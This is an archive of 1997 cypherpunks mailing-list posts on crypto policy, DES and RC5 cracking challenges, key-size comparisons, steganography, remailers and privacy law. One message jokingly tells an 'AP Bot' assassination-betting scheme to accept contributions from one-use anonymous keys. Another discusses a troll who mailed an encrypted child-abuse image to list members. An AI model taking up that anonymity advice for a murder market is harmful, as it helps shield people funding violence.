> and defend the constitution against all enemies (domestic and foreign)

I for one wish I had a consitution that was worth taking an oath to.  But
I would honer it better by reading and understanding it reather then
admiring the cover.

>  But
> what is the solution to this problem from a parents point of view?  Simple
> - control the material.

To any complex problem there is always a simple odvice soultion, and that
soultion is wrong.

> Make it like liquor, guns, booze.

But infomation is totaly unlike liquor, guns and booze, for one thing it
moves faster, and for anthougher thing unlike liquor, guns and booze
infomation is a fundermental aspect of the cotinuence of our democries.

> Oops.. for some reason this is a violation of the 1st amendment to!

You seem shocked by this, why.  I can't see how any goverment effort to
control the free flow of information could be seen as anything other then
a violation of your first amdment.

>  Ok, my mistake, its my problem.

You are an adult in a libral democrosy,  you get rights and in exchange
you get problems.

> That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  

The world is complex, there are no easy answers, there is no one
true way,  there might not even be a soultion to your problem.

[...]

> The challenge to write code could be fun,but maybe we should use our
> collective wisdom to deliver the best of the best solutions 

That is the whole idear of this list as I understand it, to implerment the
best of the best soultions WRT crypto, priversy ect.  its a grass roots
aproch as good code has a far greater inpact on the net then anything
else.

> Just another citizen wondering if anything is going to be left for our
> grandchildren.

Death of the internet film at 11?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 11:12:28 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <3.0.2.32.19970623200525.007039f8@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:15 PM 6/23/97 -0700, Mike Duvos wrote:
>Really.  It appears that the DESCHALL frivolities actually
>enhanced the reputation of DES, fluffy press releases by C2 and
>Security Dynamics notwithstanding.

Which is why I opposed a distributed crack ever since the crack was first
proposed. But once the crack got underway, the only thing to do was to
participate and hope it wouldn't take all that long. Stressing the
individual that found the key over the group effort was the best thing that
could be done in an already bad situation. Spin control is a fact of life.

Now on to breaking 56 bit RC5 (a waste of time, but until that's out of the
way there will be no sufficient support to break 64 bit RC5).

I am encouraging corporate sponsorships for breaking RC5-64. If we can get
$100,000 together (should be easy), people will find cycles you didn't even
know existed. :-)


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 11:28:22 +0800
To: cryptography@c2.net
Subject: Who is going to HIP'97?
Message-ID: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Who on this list intends to go to HIP'97? http://www.hip97.nl
I would like to organize a C*punks meeting there.

Thanks,
--Lucky
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 12:00:19 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970623205518.03982440@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:46 PM 6/23/97 -0400, Adam Shostack wrote:
>Lucky Green wrote:
>| Who on this list intends to go to HIP'97? http://www.hip97.nl
>| I would like to organize a C*punks meeting there.
>
>I'm going to go to Beyond Hope instead.  (www.2600.com)

Which will have live links with HIP. MBONE meeting, anyone?


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 24 Jun 1997 07:27:25 +0800
To: cypherpunks@toad.com
Subject: Re: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <199706232001.VAA01882@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




The anonymous porn protagonist writes:

> Here, yet again, is the same Time-Life child pornography picture, which
> is encrypted with the public keys of people I don't know from squat.
> Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
> child pornography ring.

is keyid 0xD2DF803D this key?

Type Bits/KeyID    Date       User ID
pub  1024/D2DF803D 1995/08/13 Joseph Chamness <jmnc2@student.open.ac.uk>
            Key fingerprint = 6F A9 2E 13 AF 1F 10 E6  5C 25 89 0A B4 09 26 3B

Either you're getting these keys off the keyservers, or we have a real
life example of a keyid collision.  (The Joseph with the key above is
my brother in law and he's never been subscribed to nor read
cypherpunks to my knowledge).

btw, I have Joseph's public and private keys on my disk, he gave them
to me because he forgot his passphrase almost as soon as I showed him
how to generate the key.  We were unsuccessful in guessing his
passphrase with PGPcrack, so I won't be viewing this gif.
Unfortunately I added his key to the keyservers for him before he
forgot his passphrase.

btw2 thanks for the copy to my key in the previous post.  It was really
quite a boring picture.  Anyway, I did pgp -w t.gif after viewing just
to be on the safeish side :-)

btw3 is there some moral to this exercise?  Showing child porn is
over-hyped?  Attempting to give fedz an excuse to bust us other than
for being crypto enthusiasts, exporters of illegal T-shirts, and
thinkers of non-government approved thoughts?

(Thinking of the AA case where the fedz mailed the target a child porn
package and kicked the door in seconds after the package hit the door
mat, before they even knew their mail had arrived, and busted them for
"possession" of child porn.)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Tue, 24 Jun 1997 13:02:51 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <33AF4D42.D971824@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> At 06:15 PM 6/23/97 -0700, Mike Duvos wrote:
>> Really.  It appears that the DESCHALL frivolities actually
>> enhanced the reputation of DES, fluffy press releases by C2 and
>> Security Dynamics notwithstanding.
> 
> Which is why I opposed a distributed crack ever since the crack was
> first proposed. But once the crack got underway, the only thing to do
> was to participate and hope it wouldn't take all that long. Stressing
> the individual that found the key over the group effort was the best
> thing that could be done in an already bad situation. Spin control is
> a fact of life.

IMHO, it would have been better to emphasize the group effort, and that
they could continue to crack keys at a rate of one every 30 days even
if the computing base didn't continue to grow.  Not to mention that they
could also be cracking 40-bit keys at a rate of about 2000 a day.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 12:49:19 +0800
To: jonathon <grafolog@netcom.com>
Subject: Re: How did these people find our list?
In-Reply-To: <v03102801afd44ad76fad@[207.167.93.63]>
Message-ID: <v03102802afd50004b603@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:05 PM -0700 6/23/97, jonathon wrote:
>On Mon, 23 Jun 1997, Tim May wrote:
>
>> there has been no credible threat of attack or invasion of the states in
>> America in at least 170 years, what you were largely agreeing to protect
>
>	Pearl Harbour.

I said _states_. Hawaii became a state in 1959-60.


>	The State of Oregon << The only state to have been bombed by
>	a foreign country.  >>  during World War Two.

Balloons carrying incendiaries.

Likewise, where I once lived, Goleta, CA, was shelled by a Japanese sub.

In any case, these latter incidents occurred _after_ the start of the war.
Hardly an example of a U.S. state being attacked.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 11:27:03 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970623184633.28368H-100000@beast.brainlink.com>
Message-ID: <199706240318.WAA01933@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970623184633.28368H-100000@beast.brainlink.com>, on
06/23/97 
   at 06:51 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Fri, 13 Jun 1997 tzeruch@ceddec.com wrote:

>> 
>> If the state issues me a permit, they probably have a right to the
>> information pertaining to the permit, e.g. they do need the make, model,
>> year, and similar information about the car to issue a title or
>> registration.  If they are issuing state ID, they need to know that I am
>> me in order to issue it.  They don't need to place my mother's maiden name
>> into the record although I think it appears on my birth certificate, and
>> would cause problems since this is used as an informal password.  My
>> driver's license is a permit to drive, not a permit to be me.  You can
>> make a case for the database containing my age, but date of birth?  Much
>> of what appears is not necessary for the purpose stated. 
>> 
>> So are you making the case for having the state ask every detail about
>> your life and being able to place it in the licensing database, or only
>> answers to those questions relevant to issuing the license?

>I'm making the case that information I share with (for example) the DMV
>should not be viewable by those OUTSIDE of the DMV and NYPD without my
>consent - i.e. if Joe Insurance Inc. wants to insure my car, they need my
>permission to have the DMV release the info; but some folks have taken
>this to other weird tangents, such as polarizing one's point of view into
>either libertarian or stasist.  I hold neither.  And I've given up on the
>cluelessness of the same folks, so the topic I've dropped. :) 

Only one here being clueless is you Ray.

The state is not allowed to engage in secret activities with select
members of society. Whenever it issues a permit or a license to someone it
is public knowledge. Whenever someone is arrested, whenever there is a
trial both great and small the full details are public information.

All actions of the state *must* be reviewable by the citizens. You can not
have a free and open society without the people being able to check on
what it's government is doing.

This means that all of the following *must* be open to the public:

DMV Records
Criminal Records
Voter Registrations
Census Records
Building Permits
Profesional Licenses
Court Transcripts
Federal Records
State Records
County Records
City Records
ect, ect, ect.

The problem here is *NOT* that this information is public. The problem is
that the goverment has got it's fat little fingers into everything. The
solution is *NOT* letting the state hide what it is doing with these so
called privacy laws but to get the state out of where it has no business
being in the first place!!!

And this has nothing to do with GAK or any other 1984ish monitoring of
citizens. The issue here is bringing the activities of the state into the
light of day. The activities of the citizens that do not directly involve
the state are not at issue here.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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nxT70qouw2RXOjjupLCcsWA1E44uHNEhyh3GFv11eBb0AnE869h1YBwUAnUpk4yN
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 24 Jun 1997 12:21:09 +0800
To: cypherpunks@toad.com
Subject: ZDU Summer Registration is Now Open!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.3774.06231997200012.106979@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          6/24/97
-----------------------------------------------------------------
Registration is now open for summer classes at ZDU:

http://www.zdu.com

ZDNet University--the most affordable and convenient source of 
computing education on the Web--kicks into high-gear this summer
with a brand new line-up of online courses covering some of the 
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when you want. Whether you're at the beach, at home, or at the 
office, ZDU's comprehensive curriculum offers you the opportunity
to learn new computing skills, earn Continuing Education Units 
CEUs), and beef-up your resume -- all at your convenience.

===== Sign up Now!  Classes Fill Quickly =====

These are some of the ZDU courses you can register for today:

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*     Adobe Photoshop 4.0
*     And many more!  

New classes are added all the time. You can view the complete ZDU
Course Catalog at:

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==== Stay Tuned for New Features and Site Enhancements ====

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chats, extracurricular clubs, and more. For more information about 
ZDU, get online and tour the ZDU campus or check out a sample 
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today -- ZDNet University!

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===============================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 24 Jun 1997 05:24:51 +0800
To: rttc0025@pophost.club.innet.be
Subject: Re: anonymous mail
In-Reply-To: <199706231343.PAA10140@hydrogen.inbe.net>
Message-ID: <m0wgFyw-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>could you send me the name of an remailer that works in Belgium
>please, i would be most gratefull

A list of reliable remailers is sent to this list weekly. You can
learn more details at <URL:http://www.stack.nl/~galactus/remailers/>.
This is the Internet, so it doesn't matter where a remailer is.  You
can use all of them from Belgium.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Mon, 23 Jun 1997 21:14:39 +0800
To: cypherpunks@toad.com
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.SOL.3.91.970623224324.26980A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



I thik i've badly explained myself.

The reason i HATE spam is for the same reason i hate telemarketing. I 
resent these #@%@#$@$ using MY mail box as an advertising medium. If i 
look at there page, and it has advertising thats fine, because i went 
there. If i'm on a list that has advertsing on it, then it is my choive 
and i can get off the list. Having it sent to MY email box is NOT my 
choice and my rights to choose are being infringed by these idiot 
shoveling there crap into my email box. 

Do you like telemarketers calling you ?? Is that free speech or invasion 
of privacy. There is a solution to tele marketing. It is to tell thm it 
will cost the $500 to use your phone for advertising purposes. It has 
been done, taken to court and won. In fact the judge had his football 
inturpted by the telemarketers and they has to pay. This guy has never 
been called again. 

WOuld this work with SPAM ?? I dont want it and they dont have permisiion 
to advertise in something that is mine. IF that is a violation of free 
speech can i come over to your place and put up some pro neo-nazi stuff 
on your property without your permission. I'm just harmlessly advertising 
on yuor personal property.

I agree this is an extreme example but i think it makes the point. 

I'm not anti-free speech, i'm just anti unwanted mail.

Unfortuently i cant just tell them it will set them back cash to 
advertise in my mail box because i'm in australia and the legal headaches 
wouldn't make it worth it. Doe snaybody in the US want to take it up and 
kill spam once and for all ?? You only need the legal precedent set.

I expect to get flamed and crapped all over for this but i dont care. I 
resent being suggested i'm some sort of ultra right conservative. Well i 
guess thats who those guys are i was told i was wanting to be like.

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 24 Jun 1997 14:51:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <v03102804afd38b324730@[10.0.2.15]>
Message-ID: <3.0.2.32.19970623233825.03113e3c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> >That's the major problem with images, you need to generate your own.
>> >Unless you fancy writing an image enhancement system, and analyse the
>> >algorithms in existing systems to ensure that randomness is
>> >introduced.
..
>Or, set up your own webcam "to watch your coffee pot twice a minute" or
>something. Merge the crypto stream through the gifs after tweaking the
>brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
>of 254/255 values gets suspicious, and is not from thermal noise - a
>"problem" with monochrome quickcams for night photography).

Pictures like coffee pots are likely to have parts that change
(e.g. the state of the coffee pot) and parts that don't change 
(e.g. the part of the wall that isn't blocked by the pot.)
This means that it's easy to tell which bits are being messed with,
if somebody's watching successive pictures.  If the digitization's
random enough in the low bits, it's a bit better, but a picture of
something moving helps.  Oceans and fog are great....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 24 Jun 1997 15:01:06 +0800
To: cypherpunks@toad.com
Subject: Re: AP Bot Results
In-Reply-To: <199706231344.JAA17712@dhp.com>
Message-ID: <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At or before 09:44 AM 6/23/97 -0400, some provocateur wrote:
...
>Leading eCa$h candidates for dying at an opportune time to make some
>perennial loser "Dead Lucky" are:
...[targets deleted, with prices from $514 to 2,610.02 ]

>Leading Contributors/Bettors:
>The James Gang
>The Dalton Gang
>The Bell Gang
>William Geiger III

You've done an inadequate job of implementing your protocol,
endangering your customers far more than your targets.
[And your customers are _cheapskates_ as well :-) ]

A proper bot would accept contributions from
Public Key 0x23DEADBEEF9999999
Public Key 0x45BEEFDEAD9854355
and similar one-use identities.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 24 Jun 1997 11:56:16 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <199706240346.XAA21269@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
| Who on this list intends to go to HIP'97? http://www.hip97.nl
| I would like to organize a C*punks meeting there.

I'm going to go to Beyond Hope instead.  (www.2600.com)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 24 Jun 1997 15:11:11 +0800
To: declan@well.com
Subject: Re: The Global Fix is In
Message-ID: <3.0.32.19970623090316.006bf1e0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Maybe I should have said lobbyist group masquerading as 'thinktank'
Like the American Security Council.

AND: grassroots is totally different - I agree that they would be a voice
in the wilderness -
and very ineffectual

How can you put them in the same category, "conservative thinktanks and
grassroots groups" as if they are even in the same universe?  Can any
grassroots org.
demonstrate the same track record in pushing legislation to go their way as
can the 
corporate-funded PAC/thinktanks?

Go back and look at the PAC list for McCain, and tell me how many that he
is aligned with are 
leading the opposition to administration proposals?

And then tell me that the thinktanks and the PACs are independent and
unrelated.  I don't think so.
The thinktanks are used by the PACs and funded by them, indirectly at least.

By the way, what does Rand Corp. have to say?



At 10:16 PM 6/22/97 -0400, Declan McCullagh wrote:
>Without taking a position on the rest of the following post, I should say
>that it's the conservative thinktanks and grassroots groups that are
>leading the opposition to all administration proposals and are taking a
>crypto-absolutist stance. 
>
>-Declan
>
>Sure, libertarian groups are just as good or better, but there are fewer
>of them. (Cato -still- hasn't come out with their crypto policy analysis
>even after they've been working on it for half a year. At least their
>privacy paper should be coming out soon. And CEI doesn't have the staff to
>devote someone to this issue.) They've done a few conferences and such,
>but they're limited by numbers. 
>
>
>
>On Sun, 22 Jun 1997 geeman@best.com wrote:
>
>> massive investments being made by Industry in the conservative thinktanks
>> who produce the
>> intellectual fodder-de-jour that supports the position of this elite, and
>> overwhelm the
>> likes of McCain and Kerrey with
>> impossible-for-the-legislature-to-understand managed 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 24 Jun 1997 15:10:41 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: McCain Talks Crypto
Message-ID: <3.0.32.19691231160000.006bf1e0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:23 AM 6/23/97 -0700, Bill Stewart wrote:
I still think that there is a huge power behind the effort - and that is
based in
dollars.  The child-porn/national security issues just make it
understandable for the
CNN digest of reality, and the clueless among the Government. 

Appealing to those arguments with compelling counterarguments in the same
terms
will effect results, perhaps, but only if big dollar$ are behind it.

Money will change the course of events here, and I doubt anything else will.

>
>Sigh.  Make the laws and then work out the details -- I don't think so :-)
>
>However, if his real concern IS national security, then perhaps
>he can be reached - not only is our real national security based on
>the economy, but any vaguely competent foreign government or
>major terrorist organization has access to all the crypto they need:
>unlike fully assembled missiles and plutonium, which are hard to get and
>hard to smuggle across borders, crypto is easy to buy anywhere in the US,
>and the Enemies Of The State just have to take one copy out, by laptop,
>by floppy disk, by modem, or by satellite, and you've lost control.
>
>I assume he knows he's using the child pornography excuse as a 
>cynical play to the media - the obvious response is that 
>	McCain's Pro-Forgery Bill
>by making good crypto tools less available, and by making sure
>that people will choose to get their important digital certificates
>from multiple CAs and non-US-controlled CAs, or just go uncertified,
>will make it forgery more common and digital signatures less trusted.
>So <wave hands wildly here> your kids are more likely to have fake IDs
>like we did to drink when we were younger and <wave hands again>
>that'll lead to more pornography on the net, imported from foreign
>countries that have lower standards than our fine American communities,
and...
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 24 Jun 1997 07:23:57 +0800
To: cypherpunks@cyberpass.net
Subject: Comparing Cryptographic Key Sizes
Message-ID: <199706232313.AAA00156@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Below is a explanation of the meaning of cryptographic key sizes which
started as an explanation I wrote for a journalist friend of mine, on
being asked about how relatively secure a system using DES and RSA
(SET) was as compared to netscapes export version of SSL.

I've re-written it to make it more general in scope.

One of the most common errors I see in news stories about
cryptographic breaks is to (say) compare 1024 bit RSA keys with 56 bit
symmetric keys as if the two key sizes are directly comparable.

This new document is intended to be simple and understandable to give
people a handle on how to describe and compare cryptographic systems
strengths.

This document by design glosses over some details, where I think this
is reasonable.

It could use some criticism.  If you are not that crypto aware, does
it make sense to you?  If you are crypto aware, what do you think of
my off the cuff estimates of hardness?

I wrote it with journalists in mind.  If you are a journalist and find
it useful, feel free to quote parts/all of it without attribution.

Adam


Comparing Cryptographic Key Sizes

There are two types of key sizes: public key (sometimes called
asymmetric key) and symmetric keys.  Examples of public key algorithms
are RSA, and Diffie-Hellman.  Examples of symmetric key algorithms are
RC4, DES, IDEA.  You can not directly compare public key lengths (for
example RSA keys) with symmetric key lengths (DES, RC4).  This is an
important point which confuses many people.

For example 40 bit RC4 (a symmetric key cipher) can be broken in a few
hours with a few hundred workstations.  40 bit RSA (a public key
cipher) can be broken in a fraction of a second on one PC.  RSA keys
need to be I'd guess around 350 bits to be equivalent in strength to
40 bit RC4.

56 bit DES is probably roughly similar to 512 bit RSA in hardness to
break.

Symmetric keys sizes are easy to reason with: one more bit in key
length is twice as hard to break, for the same algorithm.  It is more
complicated estimating the hardness to break of public key (say RSA)
keys of varying sizes as they get harder more gradually than symmetric
keys.  This is why public key systems have longer keys, you need more
bits to get the same security level.

Most systems use a mixture of public and symmetric key ciphers.  This
is because public key ciphers are _slow_.  Symmetric key ciphers are
fast, and so are used in combination with public key systems to speed
up the combined system.  Public key systems are used because of the
advantages of public key management they make possible.

When considering the strength of a system using two ciphers one public
key and one symmetric key, the strength of the system is equal to the
strength of the weakest link.

For example: consider the export version of SSL, as shipped in the
export version of Netscape browsers and servers.  It uses 512 bit RSA,
and 40 bit RC4.  It is easier to crack 40 bit RC4 than it is to crack
512 bit RSA, so export SSL can be broken by breaking the 40 bit RC4
component.  Ian Goldberg recently broke a 40 bit RC5 key himself with
Berkeley univ machines in 3.5 hours.  40 bit RC4 could be broken in a
similar amount of time.

512 bits RSA is not enough either, and you can rest assured that the
NSA, other governments' secret services, and any corporation or
organised crime group with sufficient funds can break it.  512 bits is
likely within reach of a distributed internet effort, of similar or
smaller scale than the recent DES breaking.

56 bit DES is harder to break than 40 bit RC4 (SSL), from the number
bits you might think it would be 65536 times harder, but it's less
than that because DES is faster than RC4.  In software it's about 5
times faster, so that means breaking DES in software is about 10000
times harder than breaking 40 bit RC4 (as used in export SSL) in
software.

But, if the Russian Mafia, or a corporation involved in industrial
espionage wanted to break 56 bit DES they would not do it in software.
They would build a special purpose piece of hardware which was
designed only to break DES.  DES was designed to be fast in hardware,
it is a relatively slow ciphers in software.

About 10 years ago now Michael Wiener made a design for such a DES
breaking machine.  He estimated it would cost $10,000,000 to build a
machine which would break a 56 bit DES encrypted message a few hours.
His machine was scalable, pay more money, break the key faster, pay
less take longer.  The estimate was that could build one with enough
DES key searching units to break it in a day for $1,000,000.  That was
10 years ago.  10 years is a long time in the computer industry.
Nowadays you build the machine more cheaply as chip technology has
progressed, and computers are much faster per $.  Estimates are around
$100,000 to build the machine (neglecting hardware engineers
consultancy fees).

Everyone expects that NSA, GCHQ, SCSSI have built such a machine for
$100,000+.  This is obvious because the NSA and SCSSI allow export of
56 bit DES.

$100,000 is not much money for a secret service.

Algorithms using 40 bit keys aren't secure at all, past a very
superficial casual level of protection.  Systems using DES, such as
SET are only secure against organisations who can't raise $100,000 and
can't find people who know lots about crypto and hardware design.
$100,000 is not much money for a secret service.  It's not much for
the Rusian Mafia either.

END





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 24 Jun 1997 13:49:38 +0800
To: Lee Gibbon <leegib@MICROSOFT.com>
Subject: RE: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <51194C00BD39CF11839000805F385DB205394FAB@RED-65-MSG.dns.microsoft.com>
Message-ID: <Pine.GSO.3.95.970624013455.28175A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Lee Gibbon wrote:

> Assuming a government like ours, the problem I see with "eliminating 90%
> of the sitting legislature" is the question of who really rules?  I
> favor term limits - only one term per position.  I don't like the idea
> of professional politicians.  But, where would the power reside?  The
> bureaucracy and the political parties?  -Sounds dangerous to me. 

Well, with one term per position, you have a problem with turnover being a
bit too high to give any consistency in government policy, and you (I
believe) would end up with the bureaucracy of assistants running the show
overall, with only minor adjustments for the current Reps.  Term limits of
some sort aren't a bad idea, though I do like the thought of punishment
for passing too many unconstitutional laws.  The proposed method has a few
problems in it that no one has suggested how to reconcile.  I'm at a loss
for a solution right now, I'm kinda hoping someone else will find one.

We've got a relatively decent style of government here.  I can see some
advantages in some aspects of parliamentary rule (actually, the tendency
of such systems to have more political parties is better, but adapting
that to us is more complicated.. Basically, Congressional districts would
have to die, and be replaced with everyone in the state voting for X/2
reps, where X is the number the state gets as a hole (This might not work 
well, but some method of voting for all the reps as a state, and taking
the best.. probably different math, but..). With this you'd have some more
smaller party candidates winning, and parties would stay a little more
focused.  (You'd actually have a libertarian influence obvious in
Congress, with the other traditionals, etc..)

This is the only alteration to our current form that I can see making
sense.  A President who claims to come from one of a few large world-views
is not a horrible thing, he/she tends to set a general policy, and it goes
from there.  The Congress gets to do all the real fighting, and there you
have lots of compromises among different groups.  Then again, this is
where the Consitutionality/penalty problems arise, but it's almost a
different issue..

Any thoughts anyone?

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Tue, 24 Jun 1997 17:20:51 +0800
To: cypherpunks@toad.com
Subject: Re: New PGP signatures (fwd)
Message-ID: <Pine.SOL.3.96.970624020657.16641D-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 23 Jun 1997, William H. Geiger III wrote:

> You really need to modify your mail-processing code as you are going to
> see more and more of these. You should also start work on implementing the
> PGP/MIME RFC as you will be seeing more of these messages.

It's kind of hard to modify the code when I'm still waiting for the PGP
5.0 code to be made available. I can't do a lot until people finish
OCR-ing it. 
 
> Nothing personal but your code should not "break" on any data that is sent
> to it. PGP 2.6.x doen't have a problem with these signatures it just
> returns a error code and goes on it's way.

Precisely; it returns an error and drops out. It *does not* output the
signed message to stdout as it would do if it were an RSA-signed message,
so it just looks like an empty message. At the moment I have better things
to do, but I guess if people are going to use non-standard message formats
they don't want us to read what they write anyway.

	Mark







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 24 Jun 1997 15:31:43 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: AP Bot Results
In-Reply-To: <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>
Message-ID: <199706240714.CAA04526@mailhub.amaranth.com>
